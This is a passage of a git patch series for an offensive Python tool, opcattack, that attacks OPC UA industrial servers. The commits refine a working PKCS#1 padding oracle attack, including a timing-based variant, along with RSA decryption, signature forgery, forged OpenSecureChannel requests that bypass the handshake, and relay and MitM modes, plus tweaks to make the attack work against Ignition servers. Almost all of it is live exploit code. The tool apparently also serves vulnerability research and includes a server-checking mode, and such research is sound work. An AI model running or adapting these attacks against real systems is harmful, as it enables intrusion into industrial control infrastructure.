find_padding_oracle(url, try_opn, try_password, timing_threshold, timing_expansion) log(f'Running padding oracle attack...') result = rsa_decryptor(oracle, endpoint.serverCertificate, ciphertext) @@ -1056,7 +1058,7 @@ def decrypt_attack(url : str, ciphertext : bytes, try_opn : bool, try_password : except: pass -def forge_signature_attack(url : str, payload : bytes, try_opn : bool, try_password : bool, policy : SecurityPolicy, timing_threshold : float) -> bytes: +def forge_signature_attack(url : str, payload : bytes, try_opn : bool, try_password : bool, policy : SecurityPolicy, timing_threshold : float, timing_expansion : int) -> bytes: # Use padding oracle to forge an RSA PKCS#1 signature on some arbitrary payload. # Logs and returns signature. @@ -1065,7 +1067,7 @@ def forge_signature_attack(url : str, payload : bytes, try_opn : bool, try_passw raise AttackNotPossible('Spoofing PSS signature is possible but currently not yet implemented.') hasher = 'sha1' if policy == SecurityPolicy.BASIC128RSA15 else 'sha256' - oracle, endpoint = find_padding_oracle(url, try_opn, try_password, timing_threshold) + oracle, endpoint = find_padding_oracle(url, try_opn, try_password, timing_threshold, timing_expansion) # Compute padded hash to be used as 'ciphertext'. sigsize = certificate_publickey(endpoint.serverCertificate).size_in_bytes() padhash = pkcs1v15_signature_encode(hasher, payload, sigsize) @@ -1161,7 +1163,7 @@ def trylogin(): demonstrate_access(*chantoken, ep.securityPolicyUri) -def forge_opn_request(impersonate_endpoint : endpointDescription.Type, login_endpoint : endpointDescription.Type, opn_oracle : bool, password_oracle : bool, timing_threshold : float) -> OpenSecureChannelMessage: +def forge_opn_request(impersonate_endpoint : endpointDescription.Type, login_endpoint : endpointDescription.Type, opn_oracle : bool, password_oracle : bool, timing_threshold : float, timing_expansion : int) -> OpenSecureChannelMessage: # Use the padding oracle attack (against impersonate_endpoint) to forge a reusable signed and encrypted OPN request, that can be used against login_endpoint. assert login_endpoint.securityPolicyUri != SecurityPolicy.NONE @@ -1190,7 +1192,7 @@ def forge_opn_request(impersonate_endpoint : endpointDescription.Type, login_end login_pk = certificate_publickey(login_endpoint.serverCertificate) login_sp = login_endpoint.securityPolicyUri msg.sign_and_encrypt( - signer=lambda data: forge_signature_attack(impersonate_endpoint.endpointUrl, data, opn_oracle, password_oracle, login_sp, timing_threshold), + signer=lambda data: forge_signature_attack(impersonate_endpoint.endpointUrl, data, opn_oracle, password_oracle, login_sp, timing_threshold, timing_expansion), encrypter=lambda ptext: rsa_ecb_encrypt(login_sp, login_pk, ptext), plainblocksize=rsa_plainblocksize(login_sp, login_pk), cipherblocksize=login_pk.size_in_bytes(), @@ -1200,7 +1202,7 @@ def forge_opn_request(impersonate_endpoint : endpointDescription.Type, login_end log(f'Message bytes after applying encryption: {hexlify(msg.to_bytes()).decode()}') return msg -def bypass_opn(impersonate_endpoint : endpointDescription.Type, login_endpoint : endpointDescription.Type, opn_oracle : bool, password_oracle : bool, cache : Path, timing_threshold : float) -> ChannelState: +def bypass_opn(impersonate_endpoint : endpointDescription.Type, login_endpoint : endpointDescription.Type, opn_oracle : bool, password_oracle : bool, cache : Path, timing_threshold : float, timing_expansion : int) -> ChannelState: lproto, lhost, lport = parse_endpoint_url(login_endpoint.endpointUrl) if lproto != TransportProtocol.TCP_BINARY: raise AttackNotPossible('Target endpoint should use opc.tcp protocol.') @@ -1222,14 +1224,14 @@ def bypass_opn(impersonate_endpoint : endpointDescription.Type, login_endpoint : opn_req = OpenSecureChannelMessage() opn_req.from_bytes(BytesIO(b64decode(cachedata[cachekey]))) else: - opn_req = forge_opn_request(impersonate_endpoint, login_endpoint, opn_oracle, password_oracle, timing_threshold) + opn_req = forge_opn_request(impersonate_endpoint, login_endpoint, opn_oracle, password_oracle, timing_threshold, timing_expansion) log(f'Storing signed+encrypted OPN request in cache file {cache}.') cachedata[cachekey] = b64encode(opn_req.to_bytes()).decode() with cache.open('w') as outfile: json.dump(cachedata, outfile) log('Picking a padding oracle for decryption.') - oracle, oracle_ep = find_padding_oracle(impersonate_endpoint.endpointUrl, opn_oracle, password_oracle, timing_threshold) + oracle, oracle_ep = find_padding_oracle(impersonate_endpoint.endpointUrl, opn_oracle, password_oracle, timing_threshold, timing_expansion) log('Performing the OPN handshake...') login_sock = connect_and_hello(lhost, lport) @@ -1294,7 +1296,7 @@ def server_checker(url : str, test_timing_attack : bool): log(f'Checking {url}...') endpoints = get_endpoints(url) encrypt_endpoints = [i for i, ep in enumerate(endpoints) if ep.securityMode == MessageSecurityMode.SIGN_AND_ENCRYPT] - log_success(f'{len(endpoints)} endpoints:') + log(f'{len(endpoints)} endpoints:') findings = [] pkcs1_ep = None @@ -1354,42 +1356,57 @@ def server_checker(url : str, test_timing_attack : bool): log('No endpoint with Basic128Rsa15. Can\'t test timing attack.') else: log('Testing OpenSecureChannel timing attack...') - keylen = certificate_publickey(pkcs1_ep.serverCertificate).size_in_bytes() - n, e = certificate_publickey_numbers(pkcs1_ep.serverCertificate) - okpads = 50 - nokpads = 50 - ok_time = 0 - nok_time = 0 - minok = math.inf - maxnok = 0 - for i, (padding_ok, plaintext) in enumerate(padding_oracle_testinputs(keylen, n, okpads, nokpads), start=1): - inputval = int2bytes(pow(plaintext, e, n), keylen) * 100 - oracle = OPNPaddingOracle(pkcs1_ep) - oracle._setup() - starttime = time.time() - try: - oracle._attempt_query(inputval) - except: - pass - duration = time.time() - starttime - - log(f'Test {i}: {"good" if padding_ok else "bad"} padding; time: {duration}') - if padding_ok: - ok_time += duration - minok = min(duration, minok) - else: - nok_time += duration - maxnok = max(duration, maxnok) + results = {} + for expandval in [30,50,100]: + log(f'Expansion parameter {expandval}:') + keylen = certificate_publickey(pkcs1_ep.serverCertificate).size_in_bytes() + n, e = certificate_publickey_numbers(pkcs1_ep.serverCertificate) + okpads = 50 + nokpads = 50 + ok_time = 0 + nok_time = 0 + minok = math.inf + maxnok = 0 + for i, (padding_ok, plaintext) in enumerate(padding_oracle_testinputs(keylen, n, okpads, nokpads), start=1): + inputval = int2bytes(pow(plaintext, e, n), keylen) * expandval + oracle = OPNPaddingOracle(pkcs1_ep) + oracle._setup() + starttime = time.time() + try: + oracle._attempt_query(inputval) + except: + pass + duration = time.time() - starttime + + log(f'Test {i}: {"good" if padding_ok else "bad"} padding; time: {duration}') + if padding_ok: + ok_time += duration + minok = min(duration, minok) + else: + nok_time += duration + maxnok = max(duration, maxnok) + + try: + oracle._cleanup() + except: + pass - try: - oracle._cleanup() - except: - pass + results[expandval] = { + 'avgok': ok_time / okpads, + 'minok': minok, + 'avgnok': nok_time / nokpads, + 'maxnok': maxnok + } + log('-----------------') - log_success(f'Average time with correct padding: {ok_time / okpads}') - log_success(f'Shortest time with correct padding: {minok}') - log_success(f'Average time with incorrect padding: {nok_time / nokpads}') - log_success(f'Longest time with incorrect padding: {maxnok}') + log('Timing experiment results:') + for expandval, result in results.items(): + log_success(f'Expansion parameter {expandval}:') + log_success(f'Average time with correct padding: {result["avgok"]}') + log_success(f'Shortest time with correct padding: {result["minok"]}') + log_success(f'Average time with incorrect padding: {result["avgnok"]}') + log_success(f'Longest time with incorrect padding: {result["maxnok"]}') + log_success('-----------------') def auth_check(url : str, skip_none : bool, demo : bool): diff --git a/opcattack.py b/opcattack.py index d4afdd1..17f09f8 100755 --- a/opcattack.py +++ b/opcattack.py @@ -42,6 +42,15 @@ def execute(self, args : Namespace): """Executes the attack, given specified options.""" ... +def add_padding_oracle_args(aparser : ArgumentParser): + """Adds arguments to configure a padding oracle attack""" + aparser.add_argument('-t', '--padding-oracle-type', choices=('opn', 'password', 'try-both'), default='try-both', + help='which PKCS#1 padding oracle to use with --bypass-opn; default: try-both') + aparser.add_argument('-T', '--timing-attack-threshold', type=float, metavar='INTERVAL', default=0, + help='if set, will try a timing-based padding oracle with this threshold parameter (fractional; in seconds); use check -t to help determine this') + aparser.add_argument('-C', '--timing-attack-expansion', type=int, metavar='COUNT', default=50, + help='when used alongside -T this determines the ciphertext expansion parameter; default: 50') + class CheckAttack(Attack): subcommand = 'check' short_help = 'evaluate whether attacks apply to server' @@ -54,6 +63,8 @@ class CheckAttack(Attack): By default, this will be non-intrusive and only request and endpoint list. With --probe-password and --test-timing-attack you can enable nosier checks that may yield additional results. + +Most important results are printed to stdout. Rest to stderr. """ def add_arguments(self, aparser): @@ -105,10 +116,7 @@ def add_arguments(self, aparser): help='when no HTTPS is available, attempt to use sigforge and decrypt attacks to bypass the opc.tcp secure channel handshake') aparser.add_argument('-c', '--cache-file', type=Path, default='.spoofed-opnreqs.json', help='file in which to cache OPN requests with spoofed signatures; default: .opncache.json') - aparser.add_argument('-t', '--padding-oracle-type', choices=('opn', 'password', 'try-both'), default='try-both', - help='which PKCS#1 padding oracle to use with --bypass-opn; default: try-both') - aparser.add_argument('-T', '--timing-attack-threshold', type=float, default=0, - help='if set together with --bypass-opn, will try a timing-based padding oracle with this threshold parameter (fractional; in seconds)') + add_padding_oracle_args(aparser.add_argument_group('padding oracle parameters', '(applicable if --bypass-opn is set)')) aparser.add_argument('url', help='Target server OPC URL (either opc.tcp:// or https:// protocol)', @@ -121,7 +129,8 @@ def execute(self, args): args.bypass_opn and args.padding_oracle_type != 'password', args.bypass_opn and args.padding_oracle_type != 'opn', args.cache_file, - args.timing_attack_threshold + args.timing_attack_threshold, + args.timing_attack_expansion ) class RelayAttack(Attack): @@ -142,9 +151,7 @@ def add_arguments(self, aparser): help='when no HTTPS is available on either or both servers, attempt to use sigforge and decrypt attacks to bypass the opc.tcp secure channel handshake') aparser.add_argument('-r', '--reusable-opn-file', type=Path, default='.spoofed-opnreqs.json', help='file in which to cache OPN requests with spoofed signatures; default: .spoofed-opnreqs.json') - aparser.add_argument('-t', '--padding-oracle-type', choices=('opn', 'password', 'try-both'), - help='which PKCS#1 padding oracle to use with --bypass-opn; default: try-both') - + add_padding_oracle_args(aparser.add_argument_group('padding oracle parameters', 'applicable if --bypass-opn is set')) aparser.add_argument('server-a', help='OPC URL of the server of which to spoof the identity', @@ -244,14 +251,11 @@ class DecryptAttack(Attack): """.strip() def add_arguments(self, aparser): - aparser.add_argument('-t', '--padding-oracle-type', choices=('opn', 'password', 'try-both'), default='try-both', - help='which PKCS#1 padding oracle to use; default: try-both') aparser.add_argument('url', type=str, help='endpoint URL of the OPC UA server owning the RSA key pair the ciphertext was produced for') aparser.add_argument('ciphertext', type=str, help='hex-encoded RSA-encrypted ciphertext; either OAEP or PKCS#1') - aparser.add_argument('-T', '--timing-attack-threshold', type=float, default=0, - help='if set, will also try a timing-based padding oracle with this threshold parameter (fractional; in seconds)') + add_padding_oracle_args(aparser) def execute(self, args): opn, password = { @@ -259,7 +263,7 @@ def execute(self, args): 'password': (False, True), 'try-both': (True, True), }[args.padding_oracle_type] - decrypt_attack(args.url, unhexlify(args.ciphertext), opn, password, args.timing_attack_threshold) + decrypt_attack(args.url, unhexlify(args.ciphertext), opn, password, args.timing_attack_threshold, args.timing_attack_expansion) class SigForgeAttack(Attack): @@ -279,12 +283,9 @@ class SigForgeAttack(Attack): """.strip() def add_arguments(self, aparser): - aparser.add_argument('-t', '--padding-oracle-type', choices=('opn', 'password', 'try-both'), default='try-both', - help='which PKCS#1 padding oracle to use; default: try-both') aparser.add_argument('-H', '--hash-function', choices=('sha1', 'sha256'), default='sha256', help='hash function to use in signature computation; default: sha256') - aparser.add_argument('-T', '--timing-attack-threshold', type=float, default=0, - help='if set, will also try a timing-based padding oracle with this threshold parameter (fractional; in seconds)') + add_padding_oracle_args(aparser) aparser.add_argument('url', type=str, help='endpoint URL of the OPC UA server whose private key to spoof a signature with') aparser.add_argument('payload', type=str, @@ -296,7 +297,7 @@ def execute(self, args): 'password': (False, True), 'try-both': (True, True), }[args.padding_oracle_type] - forge_signature_attack(args.url, unhexlify(args.payload), opn, password, SecurityPolicy.BASIC128RSA15 if args.hash_function == 'sha1' else SecurityPolicy.BASIC256, args.timing_attack_threshold) + forge_signature_attack(args.url, unhexlify(args.payload), opn, password, SecurityPolicy.BASIC128RSA15 if args.hash_function == 'sha1' else SecurityPolicy.BASIC256, args.timing_attack_threshold, args.timing_attack_expansion) class MitMAttack(Attack): subcommand = 'mitm' From c183ec2faa118870e3799d33fb51220f47bf141d Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Mon, 25 Mar 2024 11:20:54 +0100 Subject: [PATCH 38/70] Forgot to apply this bugfix... --- crypto.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crypto.py b/crypto.py index b434b5b..5db1393 100644 --- a/crypto.py +++ b/crypto.py @@ -241,7 +241,7 @@ def remove_rsa_padding(payload : bytes, policy : SecurityPolicy) -> Optional[byt # Decode RSA padding based on security policy. Returns None if padding is incorrect. assert policy != SecurityPolicy.NONE if policy == SecurityPolicy.BASIC128RSA15: - if payload.startswith(b'\x00\x02') and b'\x00' not in result[2:9] and b'\x00' in result[10:]: + if payload.startswith(b'\x00\x02') and b'\x00' not in payload[2:9] and b'\x00' in payload[10:]: return payload[(payload[10:].find(b'\x00') + 11):] else: return None From 4efbe8ef9498b0b108d307ac8ca23d52e5719cfa Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Mon, 25 Mar 2024 13:58:43 +0100 Subject: [PATCH 39/70] Improved error handling. Also realised chunking implementation was wrong. --- attacks.py | 6 ++---- message_fields.py | 5 +++-- messages.py | 9 ++++----- opcattack.py | 1 + 4 files changed, 10 insertions(+), 11 deletions(-) diff --git a/attacks.py b/attacks.py index 59e706a..e959d79 100644 --- a/attacks.py +++ b/attacks.py @@ -88,7 +88,7 @@ def connect_and_hello(host : str, port : int) -> socket: version=0, receiveBufferSize=2**16, sendBufferSize=2**16, - maxMessageSize=2097152, #2**24, + maxMessageSize=2**24, maxChunkCount=2**8, endpointUrl=f'opc.tcp://{host}:{port}/', ), AckMessage()) @@ -410,9 +410,7 @@ def browse_from(root, depth): except UnsupportedFieldException as ex: log_success(tree_prefix + f'- {ref.displayName.text}: <{ex.fieldname}>') except DecodeError as ex: - log_success(tree_prefix + f'- {ref.displayName.text}: ') - except Exception as ex: - log_success(tree_prefix + f'- {ref.displayName.text}: <{type(ex)}>') + log_success(tree_prefix + f'- {ref.displayName.text}: ("{ex}")') else: log_success(tree_prefix + f'- {ref.displayName.text} ({ref.nodeClass.name})') diff --git a/message_fields.py b/message_fields.py index b4e6efa..d37246f 100644 --- a/message_fields.py +++ b/message_fields.py @@ -590,7 +590,7 @@ class VariantField(FieldType[Any]): 21: LocalizedTextField(), 22: ExtensionObjectField(), 23: None, # DataValueField(); assigned under class definition due to mutual recursion. - 24: UnsupportedField('nested Variant'), + 24: None, # Same for nested variant. 25: UnsupportedField('DiagnosticInfo'), } @@ -631,4 +631,5 @@ def from_bytes(self, bytestr): return result, todo -VariantField._TYPE_IDS[24] = DataValueField() +VariantField._TYPE_IDS[23] = DataValueField() +VariantField._TYPE_IDS[24] = VariantField() diff --git a/messages.py b/messages.py index 6d57ef8..bd86923 100644 --- a/messages.py +++ b/messages.py @@ -23,6 +23,8 @@ def fields() -> list[tuple[str, FieldType]]: ... def to_bytes(self, chunksize : int = -1) -> bytes: + if chunksize >= 0: + raise Exception('TODO: fix chunking implementation') mtype = self.messagetype.encode() assert len(mtype) == 3 @@ -48,11 +50,8 @@ def from_bytes(self, reader : BinaryIO): body = b'' ctype = reader.read(1) - while ctype == b'C': - chunklen = struct.unpack(' Date: Mon, 25 Mar 2024 16:00:07 +0100 Subject: [PATCH 40/70] Fixed chunking implementation. --- attacks.py | 40 +++++++++++++++++++++++++++++++--------- message_fields.py | 2 +- messages.py | 27 ++++++++++----------------- opcattack.py | 1 - 4 files changed, 42 insertions(+), 28 deletions(-) diff --git a/attacks.py b/attacks.py index e959d79..4308c9b 100644 --- a/attacks.py +++ b/attacks.py @@ -80,6 +80,16 @@ def opc_exchange(sock : socket, request : OpcMessage, response_obj : Optional[Op response.from_bytes(sockio) return response +# Variant that supports response chunking. Yields each chunk as a separate response object. +def chunkable_opc_exchange(sock : socket, request : OpcMessage, response_obj : Optional[OpcMessage] = None) -> Iterator[OpcMessage]: + with sock.makefile('rwb') as sockio: + sockio.write(request.to_bytes()) + sockio.flush() + done = False + while not done: + response = response_obj or request.__class__() + done = response.from_bytes(sockio, allow_chunking=True) + yield response # Sets up a binary TCP connection, does a plain hello and simply ignores the server's size and chunking wishes. def connect_and_hello(host : str, port : int) -> socket: @@ -227,18 +237,28 @@ def session_exchange(channel : ChannelState, msg.sign(lambda data: sha_hmac(crypto.policy, crypto.clientKeys.signingKey, data), macsize(crypto.policy)) # Do the exchange. - reply = opc_exchange(channel.sock, msg) - - decodedPart = reply.encodedPart - if channel.securityMode == MessageSecurityMode.SIGN_AND_ENCRYPT: - # Decrypt. - decodedPart = aes_cbc_decrypt(crypto.serverKeys.encryptionKey, crypto.serverKeys.iv, decodedPart) + chunks = [reply.encodedPart for reply in chunkable_opc_exchange(channel.sock, msg)] + + # Decrypt/unsign if needed. + decoded = b'' + for chunk in chunks: + if channel.securityMode == MessageSecurityMode.SIGN_AND_ENCRYPT: + # Decrypt and unpad, while simply ignoring MAC. + decrypted = aes_cbc_decrypt(crypto.serverKeys.encryptionKey, crypto.serverKeys.iv, chunk) + unsigned = decrypted[:-macsize(crypto.policy)] + decoded += pkcs7_unpad(unsigned, 16)[:-1] if not unsigned.endswith(b'\x00') else unsigned[:-1] + elif channel.securityMode == MessageSecurityMode.SIGN: + # Just strip MAC. + decoded += chunk[:-macsize(crypto.policy)] + else: + assert(channel.securityMode == MessageSecurityMode.NONE) + decoded += chunk # Increment the message counter. channel.msg_counter += 1 - # Parse the response, ignoring any padding and MAC. - convo, _ = encodedConversation.from_bytes(decodedPart) + # Parse the response. + convo, _ = encodedConversation.from_bytes(decoded) resp, _ = respfield.from_bytes(convo.requestOrResponse) return resp @@ -411,6 +431,8 @@ def browse_from(root, depth): log_success(tree_prefix + f'- {ref.displayName.text}: <{ex.fieldname}>') except DecodeError as ex: log_success(tree_prefix + f'- {ref.displayName.text}: ("{ex}")') + except Exception as ex: + log_success(tree_prefix + f'- {ref.displayName.text}: <<{ex}>> ("{ex}")') else: log_success(tree_prefix + f'- {ref.displayName.text} ({ref.nodeClass.name})') @@ -1401,8 +1423,8 @@ def server_checker(url : str, test_timing_attack : bool): for expandval, result in results.items(): log_success(f'Expansion parameter {expandval}:') log_success(f'Average time with correct padding: {result["avgok"]}') - log_success(f'Shortest time with correct padding: {result["minok"]}') log_success(f'Average time with incorrect padding: {result["avgnok"]}') + log_success(f'Shortest time with correct padding: {result["minok"]}') log_success(f'Longest time with incorrect padding: {result["maxnok"]}') log_success('-----------------') diff --git a/message_fields.py b/message_fields.py index d37246f..33e8a16 100644 --- a/message_fields.py +++ b/message_fields.py @@ -187,7 +187,7 @@ def __init__(self): super().__init__(IntField(' str: def fields() -> list[tuple[str, FieldType]]: ... - def to_bytes(self, chunksize : int = -1) -> bytes: - if chunksize >= 0: - raise Exception('TODO: fix chunking implementation') + def to_bytes(self) -> bytes: mtype = self.messagetype.encode() assert len(mtype) == 3 @@ -33,29 +31,22 @@ def to_bytes(self, chunksize : int = -1) -> bytes: value = getattr(self, name) body += ftype.to_bytes(value) - if chunksize <= 0: - bodychunks = [body] - else: - bodychunks = [body[i:i+chunksize] for i in range(0, len(body), chunksize)] - - bodychunks = [struct.pack(' bool: # Note: when this throws a ServerError the message is still consumed in its entirety from the reader. + # Returns whether this is the final chunk. mtype = reader.read(3) decodecheck(mtype == self.messagetype.encode() or mtype == b'ERR', 'Unexpected message type') - body = b'' ctype = reader.read(1) - if ctype == b'C': - raise Exception('TODO: chunked server response; currently not implemented.') + decodecheck(ctype == b'F' or ctype == b'C') + decodecheck(ctype == b'F' or allow_chunking, f'Unexpected chunked message.') - decodecheck(ctype == b'F') - finallen = struct.unpack(' int: '''Returns binary (offset, length) of a specific field within the result of self.to_bytes()''' diff --git a/opcattack.py b/opcattack.py index 61bd75f..17f09f8 100755 --- a/opcattack.py +++ b/opcattack.py @@ -342,5 +342,4 @@ def main(): if __name__ == '__main__': - print('TODO: fix demo') main() From a1241360f309cde4f72080d300395948bf12e5d3 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Tue, 26 Mar 2024 15:35:42 +0100 Subject: [PATCH 41/70] Fixed discovery URL in get_endpoints. --- attacks.py | 71 ++++++++++++++++++++++++++++------------------------- messages.py | 1 + 2 files changed, 39 insertions(+), 33 deletions(-) diff --git a/attacks.py b/attacks.py index 4308c9b..ac5f5e8 100644 --- a/attacks.py +++ b/attacks.py @@ -92,7 +92,9 @@ def chunkable_opc_exchange(sock : socket, request : OpcMessage, response_obj : O yield response # Sets up a binary TCP connection, does a plain hello and simply ignores the server's size and chunking wishes. -def connect_and_hello(host : str, port : int) -> socket: +def connect_and_hello(url : str) -> socket: + proto, host, port = parse_endpoint_url(url) + assert proto == TransportProtocol.TCP_BINARY sock = create_connection((host,port)) opc_exchange(sock, HelloMessage( version=0, @@ -100,7 +102,7 @@ def connect_and_hello(host : str, port : int) -> socket: sendBufferSize=2**16, maxMessageSize=2**24, maxChunkCount=2**8, - endpointUrl=f'opc.tcp://{host}:{port}/', + endpointUrl=url, ), AckMessage()) return sock @@ -295,26 +297,32 @@ def generic_exchange( # Request endpoint information from a server. def get_endpoints(ep_url : str) -> List[endpointDescription.Type]: - if ep_url.startswith('opc.tcp://'): - _, host, port = parse_endpoint_url(ep_url) - with connect_and_hello(host, port) as sock: - chan = unencrypted_opn(sock) - resp = session_exchange(chan, getEndpointsRequest, getEndpointsResponse, - requestHeader=simple_requestheader(), - endpointUrl=ep_url, - localeIds=[], - profileUris=[], + try: + if ep_url.startswith('opc.tcp://'): + with connect_and_hello(ep_url) as sock: + chan = unencrypted_opn(sock) + resp = session_exchange(chan, getEndpointsRequest, getEndpointsResponse, + requestHeader=simple_requestheader(), + endpointUrl=ep_url, + localeIds=[], + profileUris=[], + ) + else: + assert(parse_endpoint_url(ep_url)[0] == TransportProtocol.HTTPS) + resp = https_exchange(ep_url, None, getEndpointsRequest, getEndpointsResponse, + requestHeader=simple_requestheader(), + endpointUrl=ep_url, + localeIds=[], + profileUris=[], ) - else: - assert(parse_endpoint_url(ep_url)[0] == TransportProtocol.HTTPS) - resp = https_exchange(f'{ep_url.rstrip("/")}/discovery', None, getEndpointsRequest, getEndpointsResponse, - requestHeader=simple_requestheader(), - endpointUrl=ep_url, - localeIds=[], - profileUris=[], - ) - - return resp.endpoints + + return resp.endpoints + except Exception as ex: + if ep_url.endswith('/discovery'): + raise ex + else: + # Try again while adding /discovery to URL. + return get_endpoints(f'{ep_url.rstrip("/")}/discovery') # Performs the relay attack. Channels can be either OPC sessions or HTTPS URLs. @@ -519,8 +527,7 @@ def relay_attack(source_url : str, target_url : str, demo : bool): mainchan = tep.endpointUrl elif tep.transportProfileUri.endswith('uatcp-uasc-uabinary') and tep.securityPolicyUri == SecurityPolicy.NONE and supports_usercert: # When only a TCP target is available we can still try to spoof a user cert. - _, thost, tport = parse_endpoint_url(tep.endpointUrl) - tmpsock = connect_and_hello(thost, tport) + tmpsock = connect_and_hello(tep.endpointUrl) mainchan = unencrypted_opn(tmpsock) prefercert = True else: @@ -595,9 +602,7 @@ def query(self, ciphertext : bytes): class OPNPaddingOracle(PaddingOracle): def _setup(self): - proto, host, port = parse_endpoint_url(self._endpoint.endpointUrl) - assert proto == TransportProtocol.TCP_BINARY - self._socket = connect_and_hello(host, port) + self._socket = connect_and_hello(self._endpoint.endpointUrl) self._msg = OpenSecureChannelMessage( secureChannelId=0, securityPolicyUri=SecurityPolicy.BASIC128RSA15, @@ -654,9 +659,9 @@ def __init__(self, endpoint): self._policyId = self._preferred_tokenpolicy(endpoint).policyId def _setup(self): - proto, host, port = parse_endpoint_url(self._endpoint.endpointUrl) + proto, _, _ = parse_endpoint_url(self._endpoint.endpointUrl) if proto == TransportProtocol.TCP_BINARY: - sock = connect_and_hello(host, port) + sock = connect_and_hello(self._endpoint.endpointUrl) self._chan = unencrypted_opn(sock) else: assert proto == TransportProtocol.HTTPS @@ -1120,9 +1125,9 @@ def inject_cn_attack(url : str, cn : str, second_login : bool, demo : bool): def trylogin(): try: - proto, host, port = parse_endpoint_url(url) + proto, _, _ = parse_endpoint_url(url) if proto == TransportProtocol.TCP_BINARY: - sock = connect_and_hello(host, port) + sock = connect_and_hello(url) chan = authenticated_opn(sock, ep, mycert, privkey) log_success('Certificate was accepted during OPN handshake. Will now try to create a session with it.') else: @@ -1254,7 +1259,7 @@ def bypass_opn(impersonate_endpoint : endpointDescription.Type, login_endpoint : oracle, oracle_ep = find_padding_oracle(impersonate_endpoint.endpointUrl, opn_oracle, password_oracle, timing_threshold, timing_expansion) log('Performing the OPN handshake...') - login_sock = connect_and_hello(lhost, lport) + login_sock = connect_and_hello(login_endpoint.endpointUrl) opn_reply = opc_exchange(login_sock, opn_req) log_success('Forged OPN request was accepted. Now keeping this session open while decrypting the first block of the response.') @@ -1439,8 +1444,8 @@ def auth_check(url : str, skip_none : bool, demo : bool): if ep.securityPolicyUri == SecurityPolicy.NONE: try: log(f'Trying to log in to None endpoint {ep.endpointUrl}') - proto, host, port = parse_endpoint_url(url) - chan = unencrypted_opn(connect_and_hello(host, port)) if proto == TransportProtocol.TCP_BINARY else url + proto, _, _ = parse_endpoint_url(url) + chan = unencrypted_opn(connect_and_hello(url)) if proto == TransportProtocol.TCP_BINARY else url createreply = generic_exchange(chan, SecurityPolicy.NONE, createSessionRequest, createSessionResponse, requestHeader=simple_requestheader(), clientDescription=applicationDescription.create( diff --git a/messages.py b/messages.py index f205825..100f696 100644 --- a/messages.py +++ b/messages.py @@ -38,6 +38,7 @@ def from_bytes(self, reader : BinaryIO, allow_chunking : bool = False) -> bool: # Returns whether this is the final chunk. mtype = reader.read(3) + decodecheck(len(mtype) == 3, 'Connection unexpectedly terminated.') decodecheck(mtype == self.messagetype.encode() or mtype == b'ERR', 'Unexpected message type') ctype = reader.read(1) From 04914b775a65ba3dca6d944c7894865e62ee1ed2 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Tue, 26 Mar 2024 16:20:28 +0100 Subject: [PATCH 42/70] Made some adjustments to make Ignition attack work. --- attacks.py | 39 ++++++++++++++++++++++++++++++--------- 1 file changed, 30 insertions(+), 9 deletions(-) diff --git a/attacks.py b/attacks.py index ac5f5e8..45afa7f 100644 --- a/attacks.py +++ b/attacks.py @@ -640,6 +640,17 @@ def pick_endpoint(clazz, endpoints): return None class PasswordPaddingOracle(PaddingOracle): + def __init__(self, + endpoint : endpointDescription.Type, + goodpadding_errors = [0x80200000, 0x80130000], + badpadding_errors = [0x80210000, 0x801f0000, 0x80b00000], + ): + super().__init__(endpoint) + self._policyId = self._preferred_tokenpolicy(endpoint).policyId + self._goodpad = goodpadding_errors + self._badpad = badpadding_errors + + @classmethod def _preferred_tokenpolicy(_, endpoint): policies = sorted(endpoint.userIdentityTokens, reverse=True, @@ -652,11 +663,9 @@ def _preferred_tokenpolicy(_, endpoint): if policies and policies[0].tokenType == UserTokenType.USERNAME: return policies[0] - - - def __init__(self, endpoint): - super().__init__(endpoint) - self._policyId = self._preferred_tokenpolicy(endpoint).policyId + else: + return None + def _setup(self): proto, _, _ = parse_endpoint_url(self._endpoint.endpointUrl) @@ -706,10 +715,10 @@ def _attempt_query(self, ciphertext): return True except ServerError as err: # print(hex(err.errorcode)) - if err.errorcode == 0x80200000: + if err.errorcode in self._goodpad: # print('.', end='', file=sys.stderr, flush=True) return False - elif err.errorcode == 0x80210000 or err.errorcode == 0x801f0000 or err.errorcode == 0x80b00000: + elif err.errorcode in self._badpad: return True else: raise err @@ -736,6 +745,12 @@ def pick_endpoint(clazz, endpoints): ) ) +class AltPasswordPaddingOracle(PasswordPaddingOracle): + # Different interpretation of error codes. + def __init__(self, endpoint): + super().__init__(endpoint, [0x80130000], [0x80200000, 0x80210000, 0x801f0000, 0x80b00000]) + + class TimingBasedPaddingOracle(PaddingOracle): def __init__(self, endpoint, @@ -983,7 +998,10 @@ def find_padding_oracle(url : str, try_opn : bool, try_password : bool, timing_t if try_opn: possible_oracles.append(('OPN', OPNPaddingOracle)) if try_password: - possible_oracles.append(('Password', PasswordPaddingOracle)) + possible_oracles += [ + ('Password', PasswordPaddingOracle), + ('Password (alt)', AltPasswordPaddingOracle), + ] bestname, bestep, bestoracle, bestscore = None, None, None, 0 for oname, oclass in possible_oracles: @@ -997,7 +1015,7 @@ def find_padding_oracle(url : str, try_opn : bool, try_password : bool, timing_t log(f'{oname} padding oracle score: {quality}/100') if quality == 100: log(f'Great! Let\'s use it.') - return oracle + return oracle, endpoint elif quality > bestscore: bestname, bestep, bestoracle, bestscore = oname, endpoint, oracle, quality elif quality == 0 and timing_threshold > 0: @@ -1350,6 +1368,9 @@ def server_checker(url : str, test_timing_attack : bool): if any(t.tokenType == UserTokenType.USERNAME and t.securityPolicyUri == SecurityPolicy.BASIC128RSA15 for t in ep.userIdentityTokens): findings.append(f'{epname} supports password encryption with Basic128Rsa15. It may be vulnerable to a padding oracle attack (which would enable reflect, relay, decrypt and sigforge).') relay_candidate = True + else: + findings.append(f'{epname} supports password encryption. If PKCS#1v1.5 passwords are accepted it may be vulnerable to a padding oracle attack (which would enable reflect, relay, decrypt and sigforge).') + relay_candidate = True # User cert relay. if relay_candidate and UserTokenType.CERTIFICATE in tokentypes: From f7e22b76bac647cc8f48427a2e71255368f0f4d2 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Tue, 26 Mar 2024 17:11:19 +0100 Subject: [PATCH 43/70] Allow padding oracle attack against endpoints not advertising PKCS1 but still decrypting it (like Ignition does). --- attacks.py | 148 ++++++++++++++++++++++++++++------------------------- crypto.py | 1 - 2 files changed, 79 insertions(+), 70 deletions(-) diff --git a/attacks.py b/attacks.py index 